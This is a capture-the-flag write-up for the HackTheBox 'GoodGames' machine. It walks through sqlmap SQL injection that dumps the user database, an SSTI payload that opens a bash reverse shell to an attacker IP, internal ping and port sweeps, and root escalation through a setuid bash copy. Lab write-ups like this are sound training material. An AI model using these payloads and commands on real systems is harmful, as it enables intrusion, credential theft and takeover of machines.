Explore the fundamentals of cybersecurity in the GoodGames Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
| 10.10.11.130 goodgames.htb internal-administration.goodgames.htb
|
Script to add hosts automatically
1
2
3
| ip="10.10.11.130"
domain="goodgames.htb internal-administration.goodgames.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
|
Mapping
1
| nmap -sCV goodgames.htb
|
1
2
3
4
5
6
7
| Nmap scan report for goodgames.htb (10.10.11.130)
Host is up (0.053s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|
Exploiting GoodGames HTB
Register on http://goodgames.htb/signup.
Intercept the login request and begin testing for SQL injection with sqlmap
.
1
2
3
4
5
| sqlmap -u "http://goodgames.htb/login" \
--data="email=1&password=a@a.com" \
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0" \
--referer="http://goodgames.htb/signup" \
-p email --batch --dbms="MySQL" --level=5 --risk=3 --threads 10
|
- List databases with SQLMap:
1
2
3
4
5
| sqlmap -u "http://goodgames.htb/login" \
--data="email=1&password=a@a.com" \
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0" \
--referer="http://goodgames.htb/signup" \
-p email --batch --dbms="MySQL" --level=5 --risk=3 --threads 10 --dbs
|
- Dump the
main
database:
1
2
3
4
5
| sqlmap -u "http://goodgames.htb/login" \
--data="email=1&password=a@a.com" \
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0" \
--referer="http://goodgames.htb/signup" \
-p email --batch --dbms="MySQL" --level=5 --risk=3 --threads 10 -D main --dump
|
Searching the Hash
- Search for the hash
2b22337f218b2d82dfc3b6f77e7cb8ec
on Google, which reveals the password.
Logging into Internal Admin Panel
Log in to http://internal-administration.goodgames.htb/login.
Credentials:
The interesting page is http://internal-administration.goodgames.htb/settings.
Exploit SSTI for Reverse Shell
- Change the username, capture the request, and modify it to execute the reverse shell:
1
| {{ namespace.__init__.__globals__.os.popen('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.10/9001+0>%261"').read() }}
|
- Upgrade to a better shell using the following method:
1
| script /dev/null -c bash
|
- Send the shell to the foreground:
Press Ctrl + Z
to background the shell, then run:
Gaining Access
- Access
user.txt
:
1
| cat /home/augustus/user.txt
|
- Copy
bash
to your home directory:
1
| cp /bin/bash /home/augustus
|
- Check if you’re inside a Docker container by looking for
.dockerenv
:
Network Exploration
- Ping sweep to find hosts:
1
| for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
|
- Check for open ports on the discovered host (example
172.19.0.1
):
1
| for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
|
- SSH into the discovered host:
1
2
3
| ssh augustus@172.19.0.1
cp /bin/bash /home/augustus
exit
|
Privilege Escalation
- Change permissions for
bash
to allow root execution:
1
2
| chown root:root /home/augustus/bash
chmod 4777 /home/augustus/bash
|
- Log in again via SSH:
1
| ssh augustus@172.19.0.1
|
- Execute
bash
with preserved privileges:
- Read
root.txt
: